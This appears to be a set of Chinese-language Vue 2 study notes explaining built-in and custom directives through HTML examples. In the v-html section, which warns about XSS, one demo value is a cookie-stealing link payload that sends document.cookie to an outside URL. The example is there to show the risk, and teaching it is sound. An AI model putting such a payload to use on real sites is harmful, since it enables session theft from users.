一、内置指令
1. v-bind
(1) 主要作用:
单向绑定解析表达式,可简写为 :xxx (v-bind:xxx),数据只能从data流向页面
(2)代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>数据绑定</title>
<script src="../js/vue.js"></script>
</head>
<body>
<!--
vue中有2种数据绑定的方式:
1. 单向绑定(v-bind): 数据只能从data流向页面
2. 双向绑定(v-model): 数据不仅能从data流向页面,还可以从页面流向data
备注:
(1)双向绑定一般应用在表单类元素上 (如 input select 等)
(2)v-model:value 可以简写为 v-model ,因为 v-model 默认收集的就是 value 值
-->
<div id="root">
<!-- 普通写法 -->
<!-- 单向数据绑定: <input type="text" v-bind:value="name"> <br>
双向数据绑定: <input type="text" v-model:value="name"> <br> -->
<!-- 简写 -->
单向数据绑定: <input type="text" :value="name"> <br>
</div>
<script>
new Vue({
el: '#root',
data: {
name: '尚硅谷'
}
})
</script>
</body>
</html>
2. v-model
(1)主要作用:
双向数据绑定,数据不仅能从data流向页面,还可以从页面流向data
(2)代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>数据绑定</title>
<script src="../js/vue.js"></script>
</head>
<body>
<!--
vue中有2种数据绑定的方式:
1. 单向绑定(v-bind): 数据只能从data流向页面
2. 双向绑定(v-model): 数据不仅能从data流向页面,还可以从页面流向data
备注:
(1)双向绑定一般应用在表单类元素上 (如 input select 等)
(2)v-model:value 可以简写为 v-model ,因为 v-model 默认收集的就是 value 值
-->
<div id="root">
双向数据绑定: <input type="text" v-model="name"> <br>
<!-- <h2 v-bind:x="name">你好啊</h2> -->
<!-- 如下代码是错误的,因为v-model只能应用在表单类元素上(输入类元素) 要有value值 -->
<!-- <h2 v-model:x="name">你好啊</h2> -->
</div>
<script>
new Vue({
el: '#root',
data: {
name: '尚硅谷'
}
})
</script>
</body>
</html>
3. v-for
(1)主要作用:
遍历对象、数组、字符串等
(2)代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>基本列表</title>
<script src="../js/vue.js"></script>
</head>
<body>
<!--
v-for 指令:
1. 用于展示列表数据
2. 语法: v-for="(item, index) in xxx" :key="yyy"
3. 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少(num, index))
-->
<div id="root">
<!-- 遍历数组 -->
<h2>人员列表(遍历数组)</h2>
<ul>
<!-- 遍历生成多个同样的结构,要有不同的标识 -->
<!-- <li v-for="p in persons" :key="p.id">{{p.name}}-{{p.age}}</li> , in 可以换为 of -->
<li v-for="(p, index) in persons" :key="p.id">{{p.name}}-{{p.age}}</li>
<!-- p 是每一项,index 是索引值 ,这里可以使用 :key="p.id" 或者 :key="b" -->
</ul>
<!-- 遍历对象 -->
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value, k) in car" :key="k">
<!-- p 是值,index 是对应的属性 -->
{{k}} ----- {{value}}
</li>
</ul>
<!-- 遍历字符串 -->
<h2>测试遍历字符串(遍历字符串)</h2>
<ul>
<li v-for="(char, index) in str" :key="index">
{{char}} --- {{index}}
</li>
</ul>
<!-- 测试遍历指定次数 -->
<h2>测试遍历指定次数</h2>
<ul>
<li v-for="(number, index) in 5" :key="index">
{{number}} --- {{index}}
</li>
</ul>
</div>
<script>
new Vue({
el: '#root',
data: {
persons: [
{id: '001', name: '张三', age: 18},
{id: '002', name: '李四', age: 19},
{id: '003', name: '王五', age: 20}
],
car: {
name: '奥迪',
price: '70万',
color: 'black'
},
str: 'hello'
}
})
</script>
</body>
</html>
4. v-on
(1)主要作用:
绑定事件监听,可简写为 @xxx (v-on:click="")
(2)代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>n的值是:{{n}}</h2>
<button v-on:click="add">点我让n++(普通写法)</button>
<button @click="add">点我让n++(简写)</button>
</div>
</body>
<script>
new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++;
}
}
})
</script>
</html>
5. v-if、v-else-if、v-else
(1)主要作用:
条件渲染(动态控制节点是否存在)
(2)代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>条件渲染</title>
<script src="../js/vue.js"></script>
</head>
<body>
<!--
条件渲染:
1.v-if
写法:
(1).v-if="表达式"
(2).v-else-if="表达式"
(3).v-else="表达式"
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。
2.v-show
写法:v-show="表达式"
适用于:切换频率较高的场景。
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
-->
<div id="root">
<h2 v-show="true">当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<!-- 使用 v-show 做条件渲染:结构在 不显示 -->
<!-- <h2 v-show="false">欢迎来到{{address}}</h2> -->
<!-- <h2 v-show="1 === 1">欢迎来到{{address}}</h2> -->
<!-- 使用 v-if 做条件渲染:结构不在 -->
<!-- <h2 v-if="false">欢迎来到{{address}}</h2> -->
<!-- <h2 v-if="1===1">欢迎来到{{address}}</h2> -->
<!-- v-else 和 v-else-if -->
<!-- <div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>hhhhahaha</div> n不等于 1 或 2 或 3,直接显示hhhhahaha -->
<!-- template 不会破坏结构,只能和 v-if 配合使用 -->
<template v-if="n===1">
<h2 >你好</h2>
<h2 >Yuzuru Hanyu</h2>
<h2 >最棒的选手</h2>
</template>
</div>
<script>
const vm = new Vue({
el: '#root',
data: {
address: '尚硅谷',
n: 0
}
})
</script>
</body>
</html>
6. v-show
(1)主要作用:
条件渲染(动态控制节点是否展示)
(2)代码实现:
可以类别 v-if 、v-else,只是v-show为false的话,只是在页面上不显示,结构存在;v-if为false的话,页面中不显示且结构不存在。
7. v-text
(1)主要作用:
向其所在的节点中渲染文本;
与插值语法的区别:v-text 会替换掉节点中的内容,{{xx}} 不会。
(2)代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-text指令</title>
<script src="../js/vue.min.js"></script>
</head>
<body>
<!--
v-text指令:
1. 作用:向其所在的节点中渲染文本
2. 与插值语法的区别:v-text 会替换掉节点中的内容,{{xx}} 不会
-->
<div id="root">
<div>你好,{{name}}</div>
<hr>
<!-- v-text会拿到name的值,替换掉整个div的内容,不会解析标签 -->
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script>
new Vue({
el: '#root',
data: {
name: '西安邮电',
str: '<h3>你好啊</h3>'
}
})
</script>
</body>
</html>
8. v-html
(1)主要作用:
作用:向指定节点中渲染包含 html结构 的内容。
与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以 识别html结构。
严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
(2)代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-html指令</title>
<script src="../js/vue.min.js"></script>
</head>
<body>
<!--
v-html指令:
1.作用:向指定节点中渲染包含 html结构 的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以 识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
-->
<div id="root">
<div>你好,{{name}}</div>
<!-- v-html 支持结构解析 -->
<div v-html="name"></div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script>
new Vue({
el: '#root',
data: {
name: '西安邮电',
str: '<h3>你好啊</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
</body>
</html>
9. v-cloak(没有值)
(1)主要作用:
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题(因为vue作用后,v-cloak属性会消失,设置的css样式也将不起作用)。
(2)代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-cloak指令</title>
<!-- <script src="../js/vue.min.js"></script> -->
<!-- <script src="http://localhost:8080/resource/5s/vue.js"></script> -->
<style>
[v-cloak] {
display: none;
}
</style>
</head>
<body>
<!--
v-cloak指令(没有值):
1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script>
console.log(1);
new Vue({
el: '#root',
data: {
name: '西安邮电'
}
})
</script>
</html>
10. v-once
(1)主要作用:
v-once所在节点在初次动态渲染后,就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
(2)代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-once指令</title>
<script src="../js/vue.js"></script>
</head>
<body>
<!--
v-once:
1. v-once所在节点在初次动态渲染后,就视为静态内容了
2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
-->
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<!-- <button v-on:click="n++">点我n++</button> -->
</div>
</body>
<script>
new Vue({
el: '#root',
data: {
n: 1
}
})
</script>
</html>
运行结果(初始化的值始终为1,当前值会随着点击按钮而不断增加):
11. v-pre
(1)主要作用:
跳过其所在节点的编译过程
可利用它跳过没有使用指令语法、没有使用插值语法的节点,会加快编译(用到插值语法、指令就不要加v-pre)
(2)代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-pre指令</title>
<script src="../js/vue.js"></script>
</head>
<body>
<!--
v-pre指令:
1. 跳过其所在节点的编译过程
2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译(用到插值语法、指令就不要加v-pre)
-->
<div id="root">
<h2 v-pre>Vue学习一定要坚持</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n++</button>
</div>
</body>
<script>
new Vue({
el: '#root',
data: {
n: 1
}
})
</script>
</html>
二、自定义指令
1. 自定义指令分为两种:全局指令和局部指令
(1).局部指令:
new Vue({ directives: {指令名:配置对象} }} 或 new Vue({ directives: {指令名:回调函数} }}
(2).全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
2.代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>自定义指令</title>
<script src="../js/vue.js"></script>
</head>
<body>
<!--
需求1: 定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
需求2: 定义一个v-fbind指定,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
自定义指令总结:
一、定义语法:
(1)全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
(2)局部指令:
new Vue({ directives:{指令名:配置对象} }) 或 new Vue({ directives:{指令名:回调函数 })
二、配置对象中常用的3个回调:
(1).bind:指令与元素成功绑定时调用。
(2).inserted:指令所在元素被插入页面时调用。
(3).update:指令所在模板结构被重新解析时调用
三、备注:
1.指令定义时不加v-,但使用时要加v-;
2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
-->
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
<!-- <span v-big-number></span> -->
<button @click="n++">点我让n++</button>
<hr>
<input v-fbind="n" type="text">
</div>
<div id="root2">
<input v-fbind="x" type="text">
</div>
</body>
<script>
// 全局自定义指令 v-fbind
// Vue.directive('fbind', {
// bind(element, binding) { // 当指令与元素成功绑定时
// element.value = binding.value;
// },
// inserted(element, binding) { // 指令所在元素被插入页面时 调用
// element.focus();
// },
// update(element, binding) { // 指令所在的模板被重新解析时 调用
// element.value = binding.value;
// }
// });
// Vue.directive('big', function(element, binding) {
// element.innerText = binding.value * 10;
// });
const vm = new Vue({
el: '#root',
data: {
name: '西邮',
n: 1
},
directives: {
// big: {}
// big函数被调用的时间?1. 指令与元素成功绑定时,会被调用(一上来就) 2. 指令所在的模板被重新解析时(无论修改name还是n,只是可能n值不发生变化)
big: function(element, binding) { // binding 指的是 n
// console.log('big');
// console.log(element, binding.value); // element 是真实的DOM 元素
console.log('big', this); // 注意:this 是 window
element.innerText = binding.value * 10;
},
fbind: {
bind(element, binding) { // 当指令与元素成功绑定时
element.value = binding.value;
},
inserted(element, binding) { // 指令所在元素被插入页面时 调用
element.focus();
},
update(element, binding) { // 指令所在的模板被重新解析时 调用
element.value = binding.value;
}
},
// 'big-number'(element, binding) { }
}
})
// new Vue({
// el: '#root2',
// data: {
// x: 111
// }
// })
</script>
</html>